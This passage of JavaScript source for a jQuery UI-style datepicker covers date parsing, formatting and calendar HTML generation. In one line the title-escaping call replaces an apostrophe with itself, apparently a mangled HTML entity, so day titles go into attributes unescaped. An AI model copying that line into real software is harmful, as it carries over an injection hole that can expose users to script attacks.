picker. */ _clearDate: function( id ) { var target = $( id ); this._selectDate( target, "" ); }, /* Update the input field with the selected date. */ _selectDate: function( id, dateStr ) { var onSelect, target = $( id ), inst = this._getInst( target[ 0 ] ); dateStr = ( dateStr != null ? dateStr : this._formatDate( inst ) ); if ( inst.input ) { inst.input.val( dateStr ); } this._updateAlternate( inst ); onSelect = this._get( inst, "onSelect" ); if ( onSelect ) { onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] ); // trigger custom callback } else if ( inst.input ) { inst.input.trigger( "change" ); // fire the change event } if ( inst.inline ) { this._updateDatepicker( inst ); } else { this._hideDatepicker(); this._lastInput = inst.input[ 0 ]; if ( typeof( inst.input[ 0 ] ) !== "object" ) { inst.input.trigger( "focus" ); // restore focus } this._lastInput = null; } }, /* Update any alternate field to synchronise with the main field. */ _updateAlternate: function( inst ) { var altFormat, date, dateStr, altField = this._get( inst, "altField" ); if ( altField ) { // update alternate field too altFormat = this._get( inst, "altFormat" ) || this._get( inst, "dateFormat" ); date = this._getDate( inst ); dateStr = this.formatDate( altFormat, date, this._getFormatConfig( inst ) ); $( document ).find( altField ).val( dateStr ); } }, /* Set as beforeShowDay function to prevent selection of weekends. * @param date Date - the date to customise * @return [boolean, string] - is this date selectable?, what is its CSS class? */ noWeekends: function( date ) { var day = date.getDay(); return [ ( day > 0 && day < 6 ), "" ]; }, /* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition. * @param date Date - the date to get the week for * @return number - the number of the week within the year that contains this date */ iso8601Week: function( date ) { var time, checkDate = new Date( date.getTime() ); // Find Thursday of this week starting on Monday checkDate.setDate( checkDate.getDate() + 4 - ( checkDate.getDay() || 7 ) ); time = checkDate.getTime(); checkDate.setMonth( 0 ); // Compare with Jan 1 checkDate.setDate( 1 ); return Math.floor( Math.round( ( time - checkDate ) / 86400000 ) / 7 ) + 1; }, /* Parse a string value into a date object. * See formatDate below for the possible formats. * * @param format string - the expected format of the date * @param value string - the date in the above format * @param settings Object - attributes include: * shortYearCutoff number - the cutoff year for determining the century (optional) * dayNamesShort string[7] - abbreviated names of the days from Sunday (optional) * dayNames string[7] - names of the days from Sunday (optional) * monthNamesShort string[12] - abbreviated names of the months (optional) * monthNames string[12] - names of the months (optional) * @return Date - the extracted date value or null if value is blank */ parseDate: function( format, value, settings ) { if ( format == null || value == null ) { throw "Invalid arguments"; } value = ( typeof value === "object" ? value.toString() : value + "" ); if ( value === "" ) { return null; } var iFormat, dim, extra, iValue = 0, shortYearCutoffTemp = ( settings ? settings.shortYearCutoff : null ) || this._defaults.shortYearCutoff, shortYearCutoff = ( typeof shortYearCutoffTemp !== "string" ? shortYearCutoffTemp : new Date().getFullYear() % 100 + parseInt( shortYearCutoffTemp, 10 ) ), dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort, dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames, monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort, monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames, year = -1, month = -1, day = -1, doy = -1, literal = false, date, // Check whether a format character is doubled lookAhead = function( match ) { var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match ); if ( matches ) { iFormat++; } return matches; }, // Extract a number from the string value getNumber = function( match ) { var isDoubled = lookAhead( match ), size = ( match === "@" ? 14 : ( match === "!" ? 20 : ( match === "y" && isDoubled ? 4 : ( match === "o" ? 3 : 2 ) ) ) ), minSize = ( match === "y" ? size : 1 ), digits = new RegExp( "^\\d{" + minSize + "," + size + "}" ), num = value.substring( iValue ).match( digits ); if ( !num ) { throw "Missing number at position " + iValue; } iValue += num[ 0 ].length; return parseInt( num[ 0 ], 10 ); }, // Extract a name from the string value and convert to an index getName = function( match, shortNames, longNames ) { var index = -1, names = $.map( lookAhead( match ) ? longNames : shortNames, function( v, k ) { return [ [ k, v ] ]; } ).sort( function( a, b ) { return -( a[ 1 ].length - b[ 1 ].length ); } ); $.each( names, function( i, pair ) { var name = pair[ 1 ]; if ( value.substr( iValue, name.length ).toLowerCase() === name.toLowerCase() ) { index = pair[ 0 ]; iValue += name.length; return false; } } ); if ( index !== -1 ) { return index + 1; } else { throw "Unknown name at position " + iValue; } }, // Confirm that a literal character matches the string value checkLiteral = function() { if ( value.charAt( iValue ) !== format.charAt( iFormat ) ) { throw "Unexpected literal at position " + iValue; } iValue++; }; for ( iFormat = 0; iFormat < format.length; iFormat++ ) { if ( literal ) { if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) { literal = false; } else { checkLiteral(); } } else { switch ( format.charAt( iFormat ) ) { case "d": day = getNumber( "d" ); break; case "D": getName( "D", dayNamesShort, dayNames ); break; case "o": doy = getNumber( "o" ); break; case "m": month = getNumber( "m" ); break; case "M": month = getName( "M", monthNamesShort, monthNames ); break; case "y": year = getNumber( "y" ); break; case "@": date = new Date( getNumber( "@" ) ); year = date.getFullYear(); month = date.getMonth() + 1; day = date.getDate(); break; case "!": date = new Date( ( getNumber( "!" ) - this._ticksTo1970 ) / 10000 ); year = date.getFullYear(); month = date.getMonth() + 1; day = date.getDate(); break; case "'": if ( lookAhead( "'" ) ) { checkLiteral(); } else { literal = true; } break; default: checkLiteral(); } } } if ( iValue < value.length ) { extra = value.substr( iValue ); if ( !/^\s+/.test( extra ) ) { throw "Extra/unparsed characters found in date: " + extra; } } if ( year === -1 ) { year = new Date().getFullYear(); } else if ( year < 100 ) { year += new Date().getFullYear() - new Date().getFullYear() % 100 + ( year <= shortYearCutoff ? 0 : -100 ); } if ( doy > -1 ) { month = 1; day = doy; do { dim = this._getDaysInMonth( year, month - 1 ); if ( day <= dim ) { break; } month++; day -= dim; } while ( true ); } date = this._daylightSavingAdjust( new Date( year, month - 1, day ) ); if ( date.getFullYear() !== year || date.getMonth() + 1 !== month || date.getDate() !== day ) { throw "Invalid date"; // E.g. 31/02/00 } return date; }, /* Standard date formats. */ ATOM: "yy-mm-dd", // RFC 3339 (ISO 8601) COOKIE: "D, dd M yy", ISO_8601: "yy-mm-dd", RFC_822: "D, d M y", RFC_850: "DD, dd-M-y", RFC_1036: "D, d M y", RFC_1123: "D, d M yy", RFC_2822: "D, d M yy", RSS: "D, d M y", // RFC 822 TICKS: "!", TIMESTAMP: "@", W3C: "yy-mm-dd", // ISO 8601 _ticksTo1970: ( ( ( 1970 - 1 ) * 365 + Math.floor( 1970 / 4 ) - Math.floor( 1970 / 100 ) + Math.floor( 1970 / 400 ) ) * 24 * 60 * 60 * 10000000 ), /* Format a date object into a string value. * The format can be combinations of the following: * d - day of month (no leading zero) * dd - day of month (two digit) * o - day of year (no leading zeros) * oo - day of year (three digit) * D - day name short * DD - day name long * m - month of year (no leading zero) * mm - month of year (two digit) * M - month name short * MM - month name long * y - year (two digit) * yy - year (four digit) * @ - Unix timestamp (ms since 01/01/1970) * ! - Windows ticks (100ns since 01/01/0001) * "..." - literal text * '' - single quote * * @param format string - the desired format of the date * @param date Date - the date value to format * @param settings Object - attributes include: * dayNamesShort string[7] - abbreviated names of the days from Sunday (optional) * dayNames string[7] - names of the days from Sunday (optional) * monthNamesShort string[12] - abbreviated names of the months (optional) * monthNames string[12] - names of the months (optional) * @return string - the date in the above format */ formatDate: function( format, date, settings ) { if ( !date ) { return ""; } var iFormat, dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort, dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames, monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort, monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames, // Check whether a format character is doubled lookAhead = function( match ) { var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match ); if ( matches ) { iFormat++; } return matches; }, // Format a number, with leading zero if necessary formatNumber = function( match, value, len ) { var num = "" + value; if ( lookAhead( match ) ) { while ( num.length < len ) { num = "0" + num; } } return num; }, // Format a name, short or long as requested formatName = function( match, value, shortNames, longNames ) { return ( lookAhead( match ) ? longNames[ value ] : shortNames[ value ] ); }, output = "", literal = false; if ( date ) { for ( iFormat = 0; iFormat < format.length; iFormat++ ) { if ( literal ) { if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) { literal = false; } else { output += format.charAt( iFormat ); } } else { switch ( format.charAt( iFormat ) ) { case "d": output += formatNumber( "d", date.getDate(), 2 ); break; case "D": output += formatName( "D", date.getDay(), dayNamesShort, dayNames ); break; case "o": output += formatNumber( "o", Math.round( ( new Date( date.getFullYear(), date.getMonth(), date.getDate() ).getTime() - new Date( date.getFullYear(), 0, 0 ).getTime() ) / 86400000 ), 3 ); break; case "m": output += formatNumber( "m", date.getMonth() + 1, 2 ); break; case "M": output += formatName( "M", date.getMonth(), monthNamesShort, monthNames ); break; case "y": output += ( lookAhead( "y" ) ? date.getFullYear() : ( date.getFullYear() % 100 < 10 ? "0" : "" ) + date.getFullYear() % 100 ); break; case "@": output += date.getTime(); break; case "!": output += date.getTime() * 10000 + this._ticksTo1970; break; case "'": if ( lookAhead( "'" ) ) { output += "'"; } else { literal = true; } break; default: output += format.charAt( iFormat ); } } } } return output; }, /* Extract all possible characters from the date format. */ _possibleChars: function( format ) { var iFormat, chars = "", literal = false, // Check whether a format character is doubled lookAhead = function( match ) { var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match ); if ( matches ) { iFormat++; } return matches; }; for ( iFormat = 0; iFormat < format.length; iFormat++ ) { if ( literal ) { if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) { literal = false; } else { chars += format.charAt( iFormat ); } } else { switch ( format.charAt( iFormat ) ) { case "d": case "m": case "y": case "@": chars += "0123456789"; break; case "D": case "M": return null; // Accept anything case "'": if ( lookAhead( "'" ) ) { chars += "'"; } else { literal = true; } break; default: chars += format.charAt( iFormat ); } } } return chars; }, /* Get a setting value, defaulting if necessary. */ _get: function( inst, name ) { return inst.settings[ name ] !== undefined ? inst.settings[ name ] : this._defaults[ name ]; }, /* Parse existing date and initialise date picker. */ _setDateFromField: function( inst, noDefault ) { if ( inst.input.val() === inst.lastVal ) { return; } var dateFormat = this._get( inst, "dateFormat" ), dates = inst.lastVal = inst.input ? inst.input.val() : null, defaultDate = this._getDefaultDate( inst ), date = defaultDate, settings = this._getFormatConfig( inst ); try { date = this.parseDate( dateFormat, dates, settings ) || defaultDate; } catch ( event ) { dates = ( noDefault ? "" : dates ); } inst.selectedDay = date.getDate(); inst.drawMonth = inst.selectedMonth = date.getMonth(); inst.drawYear = inst.selectedYear = date.getFullYear(); inst.currentDay = ( dates ? date.getDate() : 0 ); inst.currentMonth = ( dates ? date.getMonth() : 0 ); inst.currentYear = ( dates ? date.getFullYear() : 0 ); this._adjustInstDate( inst ); }, /* Retrieve the default date shown on opening. */ _getDefaultDate: function( inst ) { return this._restrictMinMax( inst, this._determineDate( inst, this._get( inst, "defaultDate" ), new Date() ) ); }, /* A date may be specified as an exact value or a relative one. */ _determineDate: function( inst, date, defaultDate ) { var offsetNumeric = function( offset ) { var date = new Date(); date.setDate( date.getDate() + offset ); return date; }, offsetString = function( offset ) { try { return $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ), offset, $.datepicker._getFormatConfig( inst ) ); } catch ( e ) { // Ignore } var date = ( offset.toLowerCase().match( /^c/ ) ? $.datepicker._getDate( inst ) : null ) || new Date(), year = date.getFullYear(), month = date.getMonth(), day = date.getDate(), pattern = /([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g, matches = pattern.exec( offset ); while ( matches ) { switch ( matches[ 2 ] || "d" ) { case "d" : case "D" : day += parseInt( matches[ 1 ], 10 ); break; case "w" : case "W" : day += parseInt( matches[ 1 ], 10 ) * 7; break; case "m" : case "M" : month += parseInt( matches[ 1 ], 10 ); day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) ); break; case "y": case "Y" : year += parseInt( matches[ 1 ], 10 ); day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) ); break; } matches = pattern.exec( offset ); } return new Date( year, month, day ); }, newDate = ( date == null || date === "" ? defaultDate : ( typeof date === "string" ? offsetString( date ) : ( typeof date === "number" ? ( isNaN( date ) ? defaultDate : offsetNumeric( date ) ) : new Date( date.getTime() ) ) ) ); newDate = ( newDate && newDate.toString() === "Invalid Date" ? defaultDate : newDate ); if ( newDate ) { newDate.setHours( 0 ); newDate.setMinutes( 0 ); newDate.setSeconds( 0 ); newDate.setMilliseconds( 0 ); } return this._daylightSavingAdjust( newDate ); }, /* Handle switch to/from daylight saving. * Hours may be non-zero on daylight saving cut-over: * > 12 when midnight changeover, but then cannot generate * midnight datetime, so jump to 1AM, otherwise reset. * @param date (Date) the date to check * @return (Date) the corrected date */ _daylightSavingAdjust: function( date ) { if ( !date ) { return null; } date.setHours( date.getHours() > 12 ? date.getHours() + 2 : 0 ); return date; }, /* Set the date(s) directly. */ _setDate: function( inst, date, noChange ) { var clear = !date, origMonth = inst.selectedMonth, origYear = inst.selectedYear, newDate = this._restrictMinMax( inst, this._determineDate( inst, date, new Date() ) ); inst.selectedDay = inst.currentDay = newDate.getDate(); inst.drawMonth = inst.selectedMonth = inst.currentMonth = newDate.getMonth(); inst.drawYear = inst.selectedYear = inst.currentYear = newDate.getFullYear(); if ( ( origMonth !== inst.selectedMonth || origYear !== inst.selectedYear ) && !noChange ) { this._notifyChange( inst ); } this._adjustInstDate( inst ); if ( inst.input ) { inst.input.val( clear ? "" : this._formatDate( inst ) ); } }, /* Retrieve the date(s) directly. */ _getDate: function( inst ) { var startDate = ( !inst.currentYear || ( inst.input && inst.input.val() === "" ) ? null : this._daylightSavingAdjust( new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ); return startDate; }, /* Attach the onxxx handlers. These are declared statically so * they work with static code transformers like Caja. */ _attachHandlers: function( inst ) { var stepMonths = this._get( inst, "stepMonths" ), id = "#" + inst.id.replace( /\\\\/g, "\\" ); inst.dpDiv.find( "[data-handler]" ).map( function() { var handler = { prev: function() { $.datepicker._adjustDate( id, -stepMonths, "M" ); }, next: function() { $.datepicker._adjustDate( id, +stepMonths, "M" ); }, hide: function() { $.datepicker._hideDatepicker(); }, today: function() { $.datepicker._gotoToday( id ); }, selectDay: function() { $.datepicker._selectDay( id, +this.getAttribute( "data-month" ), +this.getAttribute( "data-year" ), this ); return false; }, selectMonth: function() { $.datepicker._selectMonthYear( id, this, "M" ); return false; }, selectYear: function() { $.datepicker._selectMonthYear( id, this, "Y" ); return false; } }; $( this ).on( this.getAttribute( "data-event" ), handler[ this.getAttribute( "data-handler" ) ] ); } ); }, /* Generate the HTML for the current state of the date picker. */ _generateHTML: function( inst ) { var maxDraw, prevText, prev, nextText, next, currentText, gotoDate, controls, buttonPanel, firstDay, showWeek, dayNames, dayNamesMin, monthNames, monthNamesShort, beforeShowDay, showOtherMonths, selectOtherMonths, defaultDate, html, dow, row, group, col, selectedDate, cornerClass, calender, thead, day, daysInMonth, leadDays, curRows, numRows, printDate, dRow, tbody, daySettings, otherMonth, unselectable, tempDate = new Date(), today = this._daylightSavingAdjust( new Date( tempDate.getFullYear(), tempDate.getMonth(), tempDate.getDate() ) ), // clear time isRTL = this._get( inst, "isRTL" ), showButtonPanel = this._get( inst, "showButtonPanel" ), hideIfNoPrevNext = this._get( inst, "hideIfNoPrevNext" ), navigationAsDateFormat = this._get( inst, "navigationAsDateFormat" ), numMonths = this._getNumberOfMonths( inst ), showCurrentAtPos = this._get( inst, "showCurrentAtPos" ), stepMonths = this._get( inst, "stepMonths" ), isMultiMonth = ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ), currentDate = this._daylightSavingAdjust( ( !inst.currentDay ? new Date( 9999, 9, 9 ) : new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ), minDate = this._getMinMaxDate( inst, "min" ), maxDate = this._getMinMaxDate( inst, "max" ), drawMonth = inst.drawMonth - showCurrentAtPos, drawYear = inst.drawYear; if ( drawMonth < 0 ) { drawMonth += 12; drawYear--; } if ( maxDate ) { maxDraw = this._daylightSavingAdjust( new Date( maxDate.getFullYear(), maxDate.getMonth() - ( numMonths[ 0 ] * numMonths[ 1 ] ) + 1, maxDate.getDate() ) ); maxDraw = ( minDate && maxDraw < minDate ? minDate : maxDraw ); while ( this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 ) ) > maxDraw ) { drawMonth--; if ( drawMonth < 0 ) { drawMonth = 11; drawYear--; } } } inst.drawMonth = drawMonth; inst.drawYear = drawYear; prevText = this._get( inst, "prevText" ); prevText = ( !navigationAsDateFormat ? prevText : this.formatDate( prevText, this._daylightSavingAdjust( new Date( drawYear, drawMonth - stepMonths, 1 ) ), this._getFormatConfig( inst ) ) ); if ( this._canAdjustMonth( inst, -1, drawYear, drawMonth ) ) { prev = $( "<a>" ) .attr( { "class": "ui-datepicker-prev ui-corner-all", "data-handler": "prev", "data-event": "click", title: prevText } ) .append( $( "<span>" ) .addClass( "ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w" ) ) .text( prevText ) )[ 0 ].outerHTML; } else if ( hideIfNoPrevNext ) { prev = ""; } else { prev = $( "<a>" ) .attr( { "class": "ui-datepicker-prev ui-corner-all ui-state-disabled", title: prevText } ) .append( $( "<span>" ) .addClass( "ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w" ) ) .text( prevText ) )[ 0 ].outerHTML; } nextText = this._get( inst, "nextText" ); nextText = ( !navigationAsDateFormat ? nextText : this.formatDate( nextText, this._daylightSavingAdjust( new Date( drawYear, drawMonth + stepMonths, 1 ) ), this._getFormatConfig( inst ) ) ); if ( this._canAdjustMonth( inst, +1, drawYear, drawMonth ) ) { next = $( "<a>" ) .attr( { "class": "ui-datepicker-next ui-corner-all", "data-handler": "next", "data-event": "click", title: nextText } ) .append( $( "<span>" ) .addClass( "ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e" ) ) .text( nextText ) )[ 0 ].outerHTML; } else if ( hideIfNoPrevNext ) { next = ""; } else { next = $( "<a>" ) .attr( { "class": "ui-datepicker-next ui-corner-all ui-state-disabled", title: nextText } ) .append( $( "<span>" ) .attr( "class", "ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e" ) ) .text( nextText ) )[ 0 ].outerHTML; } currentText = this._get( inst, "currentText" ); gotoDate = ( this._get( inst, "gotoCurrent" ) && inst.currentDay ? currentDate : today ); currentText = ( !navigationAsDateFormat ? currentText : this.formatDate( currentText, gotoDate, this._getFormatConfig( inst ) ) ); controls = ""; if ( !inst.inline ) { controls = $( "<button>" ) .attr( { type: "button", "class": "ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all", "data-handler": "hide", "data-event": "click" } ) .text( this._get( inst, "closeText" ) )[ 0 ].outerHTML; } buttonPanel = ""; if ( showButtonPanel ) { buttonPanel = $( "<div class='ui-datepicker-buttonpane ui-widget-content'>" ) .append( isRTL ? controls : "" ) .append( this._isInRange( inst, gotoDate ) ? $( "<button>" ) .attr( { type: "button", "class": "ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all", "data-handler": "today", "data-event": "click" } ) .text( currentText ) : "" ) .append( isRTL ? "" : controls )[ 0 ].outerHTML; } firstDay = parseInt( this._get( inst, "firstDay" ), 10 ); firstDay = ( isNaN( firstDay ) ? 0 : firstDay ); showWeek = this._get( inst, "showWeek" ); dayNames = this._get( inst, "dayNames" ); dayNamesMin = this._get( inst, "dayNamesMin" ); monthNames = this._get( inst, "monthNames" ); monthNamesShort = this._get( inst, "monthNamesShort" ); beforeShowDay = this._get( inst, "beforeShowDay" ); showOtherMonths = this._get( inst, "showOtherMonths" ); selectOtherMonths = this._get( inst, "selectOtherMonths" ); defaultDate = this._getDefaultDate( inst ); html = ""; for ( row = 0; row < numMonths[ 0 ]; row++ ) { group = ""; this.maxRows = 4; for ( col = 0; col < numMonths[ 1 ]; col++ ) { selectedDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, inst.selectedDay ) ); cornerClass = " ui-corner-all"; calender = ""; if ( isMultiMonth ) { calender += "<div class='ui-datepicker-group"; if ( numMonths[ 1 ] > 1 ) { switch ( col ) { case 0: calender += " ui-datepicker-group-first"; cornerClass = " ui-corner-" + ( isRTL ? "right" : "left" ); break; case numMonths[ 1 ] - 1: calender += " ui-datepicker-group-last"; cornerClass = " ui-corner-" + ( isRTL ? "left" : "right" ); break; default: calender += " ui-datepicker-group-middle"; cornerClass = ""; break; } } calender += "'>"; } calender += "<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix" + cornerClass + "'>" + ( /all|left/.test( cornerClass ) && row === 0 ? ( isRTL ? next : prev ) : "" ) + ( /all|right/.test( cornerClass ) && row === 0 ? ( isRTL ? prev : next ) : "" ) + this._generateMonthYearHeader( inst, drawMonth, drawYear, minDate, maxDate, row > 0 || col > 0, monthNames, monthNamesShort ) + // draw month headers "</div><table class='ui-datepicker-calendar'><thead>" + "<tr>"; thead = ( showWeek ? "<th class='ui-datepicker-week-col'>" + this._get( inst, "weekHeader" ) + "</th>" : "" ); for ( dow = 0; dow < 7; dow++ ) { // days of the week day = ( dow + firstDay ) % 7; thead += "<th scope='col'" + ( ( dow + firstDay + 6 ) % 7 >= 5 ? " class='ui-datepicker-week-end'" : "" ) + ">" + "<span title='" + dayNames[ day ] + "'>" + dayNamesMin[ day ] + "</span></th>"; } calender += thead + "</tr></thead><tbody>"; daysInMonth = this._getDaysInMonth( drawYear, drawMonth ); if ( drawYear === inst.selectedYear && drawMonth === inst.selectedMonth ) { inst.selectedDay = Math.min( inst.selectedDay, daysInMonth ); } leadDays = ( this._getFirstDayOfMonth( drawYear, drawMonth ) - firstDay + 7 ) % 7; curRows = Math.ceil( ( leadDays + daysInMonth ) / 7 ); // calculate the number of rows to generate numRows = ( isMultiMonth ? this.maxRows > curRows ? this.maxRows : curRows : curRows ); //If multiple months, use the higher number of rows (see #7043) this.maxRows = numRows; printDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 - leadDays ) ); for ( dRow = 0; dRow < numRows; dRow++ ) { // create date picker rows calender += "<tr>"; tbody = ( !showWeek ? "" : "<td class='ui-datepicker-week-col'>" + this._get( inst, "calculateWeek" )( printDate ) + "</td>" ); for ( dow = 0; dow < 7; dow++ ) { // create date picker days daySettings = ( beforeShowDay ? beforeShowDay.apply( ( inst.input ? inst.input[ 0 ] : null ), [ printDate ] ) : [ true, "" ] ); otherMonth = ( printDate.getMonth() !== drawMonth ); unselectable = ( otherMonth && !selectOtherMonths ) || !daySettings[ 0 ] || ( minDate && printDate < minDate ) || ( maxDate && printDate > maxDate ); tbody += "<td class='" + ( ( dow + firstDay + 6 ) % 7 >= 5 ? " ui-datepicker-week-end" : "" ) + // highlight weekends ( otherMonth ? " ui-datepicker-other-month" : "" ) + // highlight days from other months ( ( printDate.getTime() === selectedDate.getTime() && drawMonth === inst.selectedMonth && inst._keyEvent ) || // user pressed key ( defaultDate.getTime() === printDate.getTime() && defaultDate.getTime() === selectedDate.getTime() ) ? // or defaultDate is current printedDate and defaultDate is selectedDate " " + this._dayOverClass : "" ) + // highlight selected day ( unselectable ? " " + this._unselectableClass + " ui-state-disabled" : "" ) + // highlight unselectable days ( otherMonth && !showOtherMonths ? "" : " " + daySettings[ 1 ] + // highlight custom dates ( printDate.getTime() === currentDate.getTime() ? " " + this._currentClass : "" ) + // highlight selected day ( printDate.getTime() === today.getTime() ? " ui-datepicker-today" : "" ) ) + "'" + // highlight today (if different) ( ( !otherMonth || showOtherMonths ) && daySettings[ 2 ] ? " title='" + daySettings[ 2 ].replace( /'/g, "'" ) + "'" : "" ) + // cell title ( unselectable ? "" : " data-handler='selectDay' data-event='click' data-month='" + printDate.getMonth() + "' data-year='" + printDate.getFullYear() + "'" ) + ">" + // actions ( otherMonth && !showOtherMonths ? " " : // display for other months ( unselectable ? "<span class='ui-state-default'>" + printDate.getDate() + "</span>" : "<a class='ui-state-default" + ( printDate.getTime() === today.getTime() ? " ui-state-highlight" : "" ) + ( printDate.getTime() === currentDate.getTime() ? " ui-state-active" : "" ) + // highlight selected day ( otherMonth ? " ui-priority-secondary" : "" ) + // distinguish dates from other months "' href='#' aria-current='" + ( printDate.getTime() === currentDate.getTime() ? "true" : "false" ) + // mark date as selected for screen reader "' data-date='" + printDate.getDate() + // store date as data "'>" + printDate.getDate() + "</a>" ) ) + "</td>"; // display selectable date printDate.setDate( printDate.getDate() + 1 ); printDate = this._daylightSavingAdjust( printDate ); } calender += tbody + "</tr>"; } drawMonth++; if ( drawMonth > 11 ) { drawMonth = 0; drawYear++; } calender += "</tbody></table>" + ( isMultiMonth ? "</div>" + ( ( numMonths[ 0 ] > 0 && col === numMonths[ 1 ] - 1 ) ? "<div class='ui-datepicker-row-break'></div>" : "" ) : "" ); group += calender; } html += group; } html += buttonPanel; inst._keyEvent = false; return html; }, /* Generate the month and year header. */ _generateMonthYearHeader: function( inst, drawMonth, drawYear, minDate, maxDate, secondary, monthNames, monthNamesShort ) { var inMinYear, inMaxYear, month, years, thisYear, determineYear, year, endYear, changeMonth = this._get( inst, "changeMonth" ), changeYear = this._get( inst, "changeYear" ), showMonthAfterYear = this._get( inst, "showMonthAfterYear" ), selectMonthLabel = this._get( inst, "selectMonthLabel" ), selectYearLabel = this._get( inst, "selectYearLabel" ), html = "<div class='ui-datepicker-title'>", monthHtml = ""; // Month selection if ( secondary || !changeMonth ) { monthHtml += "<span class='ui-datepicker-month'>" + monthNames[ drawMonth ] + "</span>"; } else { inMinYear = ( minDate && minDate.getFullYear() === drawYear ); inMaxYear = ( maxDate && maxDate.getFullYear() === drawYear ); monthHtml += "<select class='ui-datepicker-month' aria-label='" + selectMonthLabel + "' data-handler='selectMonth' data-event='change'>"; for ( month = 0; month < 12; month++ ) { if ( ( !inMinYear || month >= minDate.getMonth() ) && ( !inMaxYear || month <= maxDate.getMonth() ) ) { monthHtml += "<option value='" + month + "'" + ( month === drawMonth ? " selected='selected'" : "" ) + ">" + monthNamesShort[ month ] + "</option>"; } } monthHtml += "</select>"; } if ( !showMonthAfterYear ) { html += monthHtml + ( secondary || !( changeMonth && changeYear ) ? " " : "" ); } // Year selection if ( !inst.yearshtml ) { inst.yearshtml = ""; if ( secondary || !changeYear ) { html += "<span class='ui-datepicker-year'>" + drawYear + "</span>"; } else { // determine range of years to display years = this._get( inst, "yearRange" ).split( ":" ); thisYear = new Date().getFullYear(); determineYear = function( value ) { var year = ( value.match( /c[+\-].*/ ) ? drawYear + parseInt( value.substring( 1 ), 10 ) : ( value.match( /[+\-].*/ ) ? thisYear + parseInt( value, 10 ) : parseInt( value, 10 ) ) ); return ( isNaN( year ) ? thisYear : year ); }; year = determineYear( years[ 0 ] ); endYear = Math.max( year, determineYear( years[ 1 ] || "" ) ); year = ( minDate ? Math.max( year, minDate.getFullYear() ) : year ); endYear = ( maxDate ? Math.min( endYear, maxDate.getFullYear() ) : endYear ); inst.yearshtml += "<select class='ui-datepicker-year' aria-label='" + selectYearLabel + "' data-handler='selectYear' data-event='change'>"; for ( ; year <= endYear; year++ ) { inst.yearshtml += "<option value='" + year + "'" + ( year === drawYear ? " selected='selected'" : "" ) + ">" + year + "</option>"; } inst.yearshtml += "</select>"; html += inst.yearshtml; inst.yearshtml = null; } } html += this._get( inst, "yearSuffix" ); if ( showMonthAfterYear ) { html += ( secondary || !( changeMonth && changeYear ) ? " " : "" ) + monthHtml; } html += "</div>"; // Close datepicker_header return html; }, /* Adjust one of the date sub-fields. */ _adjustInstDate: function( inst, offset, period ) { var year = inst.selectedYear + ( period === "Y" ? offset : 0 ), month = inst.selectedMonth + ( period === "M" ? offset : 0 ), day = Math.min( inst.selectedDay, this._getDaysInMonth( year, month ) ) + ( period === "D" ? offset : 0 ), date = this._restrictMinMax( inst, this._daylightSavingAdjust( new Date( year, month, day ) ) ); inst.selectedDay = date.getDate(); inst.drawMonth = inst.selectedMonth = date.getMonth(); inst.drawYear = inst.selectedYear = date.getFullYear(); if ( period === "M" || period === "Y" ) { this._notifyChange( inst ); } }, /* Ensure a date is within any min/max bounds. */ _restrictMinMax: function( inst, date ) { var minDate = this._getMinMaxDate( inst, "min" ), maxDate = this._getMinMaxDate( inst, "max" ), newDate = ( minDate && date < minDate ? minDate : date ); return ( maxDate && newDate > maxDate ? maxDate : newDate ); }, /* Notify change of month/year. */ _notifyChange: function( inst ) { var onChange = this._get( inst, "onChangeMonthYear" ); if ( onChange ) { onChange.apply( ( inst.input ? inst.input[ 0 ] : null ), [ inst.selectedYear, inst.selectedMonth + 1, inst ] ); } }, /* Determine the number of months to show. */ _getNumberOfMonths: function( inst ) { var numMonths = this._get( inst, "numberOfMonths" ); return ( numMonths == null ? [ 1, 1 ] : ( typeof numMonths === "number" ? [ 1, numMonths ] : numMonths ) ); }, /* Determine the current maximum date - ensure no time components are set. */ _getMinMaxDate: function( inst, minMax ) { return this._determineDate( inst, this._get( inst, minMax + "Date" ), null ); }, /* Find the number of days in a given month. */ _getDaysInMonth: function( year, month ) { return 32 - this._daylightSavingAdjust( new Date( year, month, 32 ) ).getDate(); }, /* Find the day of the week of the first of a month. */ _getFirstDayOfMonth: function( year, month ) { return new Date( year, month, 1 ).getDay(); }, /* Determines if we should allow a "next/prev" month display change. */ _canAdjustMonth: function( inst, offset, curYear, curMonth ) { var numMonths = this._getNumberOfMonths( inst ), date = this._daylightSavingAdjust( new Date( curYear, curMonth + ( offset < 0 ? offset : numMonths[ 0 ] * numMonths[ 1 ] ), 1 ) ); if ( offset < 0 ) { date.setDate( this._getDaysInMonth( date.getFullYear(), date.getMonth() ) ); } return this._isInRange( inst, date ); 